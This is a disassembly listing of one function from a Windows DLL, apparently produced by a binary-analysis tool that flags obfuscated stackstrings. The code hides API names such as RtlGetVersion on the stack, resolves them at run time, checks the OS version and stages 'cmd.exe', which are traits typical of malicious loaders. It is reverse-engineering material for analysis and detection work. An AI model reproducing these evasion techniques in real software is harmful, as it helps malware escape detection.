Function at 0x180005b20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x2e0]
sub rsp, 0x3e0
mov rax, qword [0x18004c178]
xor rax, rsp
mov qword [rbp + 0x2d0], rax
movdqa xmm0, xmmword [0x180044c70]
xor ebx, ebx
mov rdi, qword [0x18004fe98]
mov ecx, 0x1007
mov dword [rsp + 0x30], ebx
movdqu xmmword [rbp + 0x90], xmm0
mov dword [rbp + 0xa0], 0x616c466e
mov dword [rbp + 0xa4], 0x7367
call fcn.180004d80
test rax, rax
jne 0x180005b8f
mov eax, ebx
jmp 0x180005b9b
lea rdx, [rbp + 0x90]
mov rcx, rax
call rdi
lea rcx, [rsp + 0x30]
call rax
test byte [rsp + 0x30], 1
je 0x180005efb
mov rdi, qword [0x18004fe98]
mov ecx, 0x1006
mov dword [rbp + 0x60], 0x6e496f43
mov dword [rbp + 0x64], 0x61697469
mov dword [rbp + 0x68], 0x657a696c
mov word [rbp + 0x6c], bx
call fcn.180004d80
test rax, rax
jne 0x180005be1
mov rax, rbx
jmp 0x180005bea
lea rdx, [rbp + 0x60]
mov rcx, rax
call rdi
xor ecx, ecx
call rax
movdqa xmm0, xmmword [0x180044c80]
lea rdi, [0x18004feb0]
xor eax, eax
mov word [rbp + 0xb8], 0x73
mov ecx, 0xa78
mov byte [rbp + 0xba], al
rep stosb byte [rdi], al
mov rdi, qword [0x18004fe98]
mov ecx, 0x1000
movdqu xmmword [rbp + 0xa8], xmm0
call fcn.180004d80
test rax, rax
jne 0x180005c38
mov rax, rbx
jmp 0x180005c44
lea rdx, [rbp + 0xa8]
mov rcx, rax
call rdi
call rax
mov rcx, rax
call fcn.180007980
mov rdi, qword [0x18004fe98]
mov ecx, 0x1007
movzx eax, al
mov dword [0x18004feb0], eax
mov dword [rbp + 0x70], 0x436c7452
mov dword [rbp + 0x74], 0x74616572
mov dword [rbp + 0x78], 0x61654865
mov word [rbp + 0x7c], 0x70
mov byte [rbp + 0x7e], bl
call fcn.180004d80
test rax, rax
jne 0x180005c90
mov rax, rbx
jmp 0x180005c99
lea rdx, [rbp + 0x70]
mov rcx, rax
call rdi
xor edx, edx
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov qword [rsp + 0x20], rbx
xor r8d, r8d
lea ecx, [rdx + 2]
call rax
mov qword [0x18004feb8], rax
test rax, rax
je 0x180005ef4
cmp dword [0x18004feb0], ebx
je 0x180005d45
xor eax, eax
mov dword [rbp + 0x80], 0x476c7452
lea rdi, [rsp + 0x40]
mov dword [rbp + 0x84], 0x65567465
mov ecx, 0x114
mov dword [rbp + 0x88], 0x6f697372
rep stosb byte [rdi], al
mov rdi, qword [0x18004fe98]
mov ecx, 0x1007
mov dword [rsp + 0x40], 0x114
mov word [rbp + 0x8c], 0x6e
mov byte [rbp + 0x8e], al
call fcn.180004d80
test rax, rax
jne 0x180005d26
mov rax, rbx
jmp 0x180005d32
lea rdx, [rbp + 0x80]
mov rcx, rax
call rdi
lea rcx, [rsp + 0x40]
call rax
mov eax, dword [rsp + 0x4c]
mov dword [0x18004fee4], eax
jmp 0x180005d5f
lea rcx, [0x18004fee4]
call fcn.180007ff0
test eax, eax
je 0x180005eed
mov eax, dword [0x18004fee4]
cmp eax, 0x1b58
jb 0x180005ee6
xor eax, eax
mov dword [0x18004fee8], 1
lea rdi, [rbp + 0xc0]
mov dword [rsp + 0x30], ebx
mov ecx, 0x20a
mov dword [rsp + 0x34], 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x34]
call fcn.180007740
test eax, eax
je 0x180005eed
cmp dword [rsp + 0x34], 3
jne 0x180005edf
xor eax, eax
mov dword [rsp + 0x30], ebx
lea rdi, [rbp + 0xc0]
mov ecx, 0x20a
rep stosb byte [rdi], al
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [0x18004fec8], rax
test rax, rax
je 0x180005ed8
lea rcx, [0x180043cb0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [0x18004fed0], rax
test rax, rax
jne 0x180005e14
lea rcx, str.ole32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [0x18004fed0], rax
test rax, rax
je 0x180005ed8
lea rcx, [0x180043ce0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [0x18004fed8], rax
test rax, rax
jne 0x180005e4a
lea rcx, [0x180043cf8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [0x18004fed8], rax
test rax, rax
je 0x180005ed8
call fcn.180007c30
test eax, eax
je 0x180005ed1
lea rdx, [0x180050308]
call fcn.180007a60
lea rcx, [0x1800500fe]
nop word [rax + rax]
movzx eax, word [rcx]
mov word [rcx + 0x61e], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x180005e70
lea rax, [0x18005071c]
sub rax, 2
nop
cmp word [rax + 2], bx
lea rax, [rax + 2]
jne 0x180005e90
movups xmm0, xmmword [str.cmd.exe]
mov ecx, 0x10800010
mov qword [0x18004fea8], rbx
movups xmmword [rax], xmm0
cmp dword [0x18004fee4], 0x3a95
mov eax, 0x10840014
mov qword [0x18004fec0], rbx
cmova eax, ecx
mov dword [0x18004feec], eax
jmp 0x180005f00
mov ebx, 3
jmp 0x180005f00
mov ebx, 6
jmp 0x180005f00
mov eax, 0x65e
jmp 0x180005f02
mov ebx, 0x661
jmp 0x180005f00
mov ebx, 0x54f
jmp 0x180005f00
mov ebx, 8
jmp 0x180005f00
mov ebx, 0x2e4
mov eax, ebx
mov rcx, qword [rbp + 0x2d0]
xor rcx, rsp
call fcn.180011e00
lea r11, [rsp + 0x3e0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret